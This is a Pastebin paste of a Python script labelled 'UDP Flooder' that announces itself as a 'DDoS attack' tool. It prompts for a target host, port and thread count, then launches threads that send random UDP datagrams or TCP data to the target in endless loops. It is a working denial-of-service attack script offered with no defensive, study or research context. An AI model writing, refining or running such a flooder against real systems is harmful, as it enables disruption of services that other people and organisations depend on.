Aldin_SXR

Untitled

Oct 31st, 2024
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.20 KB | None | 0 0
  1. """
  2. UDP Flooder.
  3. """
  4. import signal
  5. import time
  6. import socket
  7. import random
  8. import threading
  9. import sys
  10. import os
  11. from os import system, name
  12.  
  13. print("\033[1;34;40m \n")
  14. os.system("figlet DDoS attack")
  15.  
  16. test = input()
  17. if test == "n":
  18.     exit(0)
  19. ip = str(input(" Host / IP: "))
  20. port = int(input(" Port: "))
  21. choice = str(input(" UDP (y/n): "))
  22. times = int(input(" Packets per one connection: "))
  23. threads = int(input(" Threads: "))
  24. def run():
  25.     data = random._urandom(1024)
  26.     i = random.choice(("[*]","[!]","[#]"))
  27.     while True:
  28.         try:
  29.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP = SOCK_DGRAM
  30.             addr = (str(ip),int(port))
  31.             for x in range(times):
  32.                 s.sendto(data,addr)
  33.             print(i +" UDP sent!")
  34.         except:
  35.             s.close()
  36.             print("[!] Error!")
  37.  
  38. def run2():
  39.     data = random._urandom(16)
  40.     i = random.choice(("[*]","[!]","[#]"))
  41.     while True:
  42.         try:
  43.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP = SOCK_STREAM
  44.             s.connect((ip,port))
  45.             s.send(data)
  46.             for x in range(times):
  47.                 s.send(data)
  48.             print(i +" TCP sent!")
  49.         except:
  50.             s.close()
  51.             print("[!] Error!")
  52.  
  53. for y in range(threads):
  54.     if choice == 'y':
  55.         th = threading.Thread(target = run)
  56.         th.start()
  57.     else:
  58.         th = threading.Thread(target = run2)
  59.         th.start()
  60.  
  61. def new():
  62.     for y in range(threads):
  63.         if choice == 'y':
  64.             th = threading.Thread(target = run)
  65.             th.start()
  66.         else:
  67.             th = threading.Thread(target = run2)
  68.             th.start()
  69.  
  70. def clear():
  71.     if name == 'nt':
  72.         _ = system('cls')
  73.     else:
  74.         _ = system('clear')
  75.  
  76. def exit():
  77.     clear()
  78.     os.system("You are leaving the program...")
  79.     sys.exit(130)
  80.  
  81. def exit_gracefully(signum, frame):
  82.     # restore the original signal handler
  83.     signal.signal(signal.SIGINT, original_sigint)
  84.  
  85.     try:
  86.         exitc = str(input("Do you want to exit?"))
  87.         if exitc == 'y':
  88.  
  89.             exit()
  90.  
  91.     except KeyboardInterrupt:
  92.         print("Exiting...")
  93.         exit()
  94.  
  95.     # restore the gracefully exit handler
  96.     signal.signal(signal.SIGINT, exit_gracefully)
  97.  
  98. if __name__ == '__main__':
  99.     # store SIGINT handler
  100.     original_sigint = signal.getsignal(signal.SIGINT)
  101.     signal.signal(signal.SIGINT, exit_gracefully)
Advertisement
Add Comment
Please, Sign In to add comment